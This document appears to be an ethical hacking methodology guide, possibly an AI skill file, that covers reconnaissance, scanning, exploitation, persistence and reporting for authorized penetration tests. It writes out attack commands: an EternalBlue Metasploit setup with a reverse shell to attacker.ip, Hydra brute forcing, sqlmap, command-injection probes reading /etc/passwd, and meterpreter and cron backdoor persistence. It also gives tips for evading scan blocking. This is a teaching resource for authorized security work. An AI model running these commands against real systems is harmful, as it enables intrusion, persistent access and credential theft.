Ethical Hacking Methodology
Purpose
Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.
Prerequisites
Required Environment
- Kali Linux installed (persistent or live)
- Network access to authorized targets
- Written authorization from system owner
Required Knowledge
- Basic networking concepts
- Linux command-line proficiency
- Understanding of web technologies
- Familiarity with security concepts
Outputs and Deliverables
- Reconnaissance Report - Target information gathered
- Vulnerability Assessment - Identified weaknesses
- Exploitation Evidence - Proof of concept attacks
- Final Report - Executive and technical findings
Core Workflow
Phase 1: Understanding Hacker Types
Classification of security professionals:
White Hat Hackers (Ethical Hackers)
- Authorized security professionals
- Conduct penetration testing with permission
- Goal: Identify and fix vulnerabilities
- Also known as: penetration testers, security consultants
Black Hat Hackers (Malicious)
- Unauthorized system intrusions
- Motivated by profit, revenge, or notoriety
- Goal: Steal data, cause damage
- Also known as: crackers, criminal hackers
Grey Hat Hackers (Hybrid)
- May cross ethical boundaries
- Not malicious but may break rules
- Often disclose vulnerabilities publicly
- Mixed motivations
Other Classifications
- Script Kiddies: Use pre-made tools without understanding
- Hacktivists: Politically or socially motivated
- Nation State: Government-sponsored operatives
- Coders: Develop tools and exploits
Phase 2: Reconnaissance
Gather information without direct system interaction:
Passive Reconnaissance
bash# WHOIS lookup whois target.com # DNS enumeration nslookup target.com dig target.com ANY dig target.com MX dig target.com NS # Subdomain discovery dnsrecon -d target.com # Email harvesting theHarvester -d target.com -b all
Google Hacking (OSINT)
# Find exposed files site:target.com filetype:pdf site:target.com filetype:xls site:target.com filetype:doc # Find login pages site:target.com inurl:login site:target.com inurl:admin # Find directory listings site:target.com intitle:"index of" # Find configuration files site:target.com filetype:config site:target.com filetype:env
Google Hacking Database Categories:
- Files containing passwords
- Sensitive directories
- Web server detection
- Vulnerable servers
- Error messages
- Login portals
Social Media Reconnaissance
- LinkedIn: Organizational charts, technologies used
- Twitter: Company announcements, employee info
- Facebook: Personal information, relationships
- Job postings: Technology stack revelations
Phase 3: Scanning
Active enumeration of target systems:
Host Discovery
bash# Ping sweep nmap -sn 192.168.1.0/24 # ARP scan (local network) arp-scan -l # Discover live hosts nmap -sP 192.168.1.0/24
Port Scanning
bash# TCP SYN scan (stealth) nmap -sS target.com # Full TCP connect scan nmap -sT target.com # UDP scan nmap -sU target.com # All ports scan nmap -p- target.com # Top 1000 ports with service detection nmap -sV target.com # Aggressive scan (OS, version, scripts) nmap -A target.com
Service Enumeration
bash# Specific service scripts nmap --script=http-enum target.com nmap --script=smb-enum-shares target.com nmap --script=ftp-anon target.com # Vulnerability scanning nmap --script=vuln target.com
Common Port Reference
| Port | Service | Notes |
|---|---|---|
| 21 | FTP | File transfer |
| 22 | SSH | Secure shell |
| 23 | Telnet | Unencrypted remote |
| 25 | SMTP | |
| 53 | DNS | Name resolution |
| 80 | HTTP | Web |
| 443 | HTTPS | Secure web |
| 445 | SMB | Windows shares |
| 3306 | MySQL | Database |
| 3389 | RDP | Remote desktop |
Phase 4: Vulnerability Analysis
Identify exploitable weaknesses:
Automated Scanning
bash# Nikto web scanner nikto -h http://target.com # OpenVAS (command line) omp -u admin -w password --xml="<get_tasks/>" # Nessus (via API) nessuscli scan --target target.com
Web Application Testing (OWASP)
- SQL Injection
- Cross-Site Scripting (XSS)
- Broken Authentication
- Security Misconfiguration
- Sensitive Data Exposure
- XML External Entities (XXE)
- Broken Access Control
- Insecure Deserialization
- Using Components with Known Vulnerabilities
- Insufficient Logging & Monitoring
Manual Techniques
bash# Directory brute forcing gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt # Subdomain enumeration gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt # Web technology fingerprinting whatweb target.com
Phase 5: Exploitation
Actively exploit discovered vulnerabilities:
Metasploit Framework
bash# Start Metasploit msfconsole # Search for exploits msf> search type:exploit name:smb # Use specific exploit msf> use exploit/windows/smb/ms17_010_eternalblue # Set target msf> set RHOSTS target.com # Set payload msf> set PAYLOAD windows/meterpreter/reverse_tcp msf> set LHOST attacker.ip # Execute msf> exploit
Password Attacks
bash# Hydra brute force hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com hydra -L users.txt -P passwords.txt ftp://target.com # John the Ripper john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Web Exploitation
bash# SQLMap for SQL injection sqlmap -u "http://target.com/page.php?id=1" --dbs sqlmap -u "http://target.com/page.php?id=1" -D database --tables # XSS testing # Manual: <script>alert('XSS')</script> # Command injection testing # ; ls -la # | cat /etc/passwd
Phase 6: Maintaining Access
Establish persistent access:
Backdoors
bash# Meterpreter persistence meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip # SSH key persistence # Add attacker's public key to ~/.ssh/authorized_keys # Cron job persistence echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
Privilege Escalation
bash# Linux enumeration linpeas.sh linux-exploit-suggester.sh # Windows enumeration winpeas.exe windows-exploit-suggester.py # Check SUID binaries (Linux) find / -perm -4000 2>/dev/null # Check sudo permissions sudo -l
Covering Tracks (Ethical Context)
- Document all actions taken
- Maintain logs for reporting
- Avoid unnecessary system changes
- Clean up test files and backdoors
Phase 7: Reporting
Document findings professionally:
Report Structure
-
Executive Summary
- High-level findings
- Business impact
- Risk ratings
- Remediation priorities
-
Technical Findings
- Vulnerability details
- Proof of concept
- Screenshots/evidence
- Affected systems
-
Risk Ratings
- Critical: Immediate action required
- High: Address within 24-48 hours
- Medium: Address within 1 week
- Low: Address within 1 month
- Informational: Best practice recommendations
-
Remediation Recommendations
- Specific fixes for each finding
- Short-term mitigations
- Long-term solutions
- Resource requirements
-
Appendices
- Detailed scan outputs
- Tool configurations
- Testing timeline
- Scope and methodology
Phase 8: Common Attack Types
Phishing
- Email-based credential theft
- Fake login pages
- Malicious attachments
- Social engineering component
Malware Types
- Virus: Self-replicating, needs host file
- Worm: Self-propagating across networks
- Trojan: Disguised as legitimate software
- Ransomware: Encrypts files for ransom
- Rootkit: Hidden system-level access
- Spyware: Monitors user activity
Network Attacks
- Man-in-the-Middle (MITM)
- ARP Spoofing
- DNS Poisoning
- DDoS (Distributed Denial of Service)
Phase 9: Kali Linux Setup
Install penetration testing platform:
Hard Disk Installation
- Download ISO from kali.org
- Boot from installation media
- Select "Graphical Install"
- Configure language, location, keyboard
- Set hostname and root password
- Partition disk (Guided - use entire disk)
- Install GRUB bootloader
- Reboot and login
Live USB (Persistent)
bash# Create bootable USB dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress # Create persistence partition gparted /dev/sdb # Add ext4 partition labeled "persistence" # Configure persistence mkdir /mnt/usb mount /dev/sdb2 /mnt/usb echo "/ union" > /mnt/usb/persistence.conf umount /mnt/usb
Phase 10: Ethical Guidelines
Legal Requirements
- Obtain written authorization
- Define scope clearly
- Document all testing activities
- Report all findings to client
- Maintain confidentiality
Professional Conduct
- Work ethically with integrity
- Respect privacy of data accessed
- Avoid unnecessary system damage
- Execute planned tests only
- Never use findings for personal gain
Quick Reference
Penetration Testing Lifecycle
| Stage | Purpose | Key Tools |
|---|---|---|
| Reconnaissance | Gather information | theHarvester, WHOIS, Google |
| Scanning | Enumerate targets | Nmap, Nikto, Gobuster |
| Exploitation | Gain access | Metasploit, SQLMap, Hydra |
| Maintaining Access | Persistence | Meterpreter, SSH keys |
| Reporting | Document findings | Report templates |
Essential Commands
| Command | Purpose |
|---|---|
nmap -sV target | Port and service scan |
nikto -h target | Web vulnerability scan |
msfconsole | Start Metasploit |
hydra -l user -P list ssh://target | SSH brute force |
sqlmap -u "url?id=1" --dbs | SQL injection |
Constraints and Limitations
Authorization Required
- Never test without written permission
- Stay within defined scope
- Report unauthorized access attempts
Professional Standards
- Follow rules of engagement
- Maintain client confidentiality
- Document methodology used
- Provide actionable recommendations
Troubleshooting
Scans Blocked
Solutions:
- Use slower scan rates
- Try different scanning techniques
- Use proxy or VPN
- Fragment packets
Exploits Failing
Solutions:
- Verify target vulnerability exists
- Check payload compatibility
- Adjust exploit parameters
- Try alternative exploits
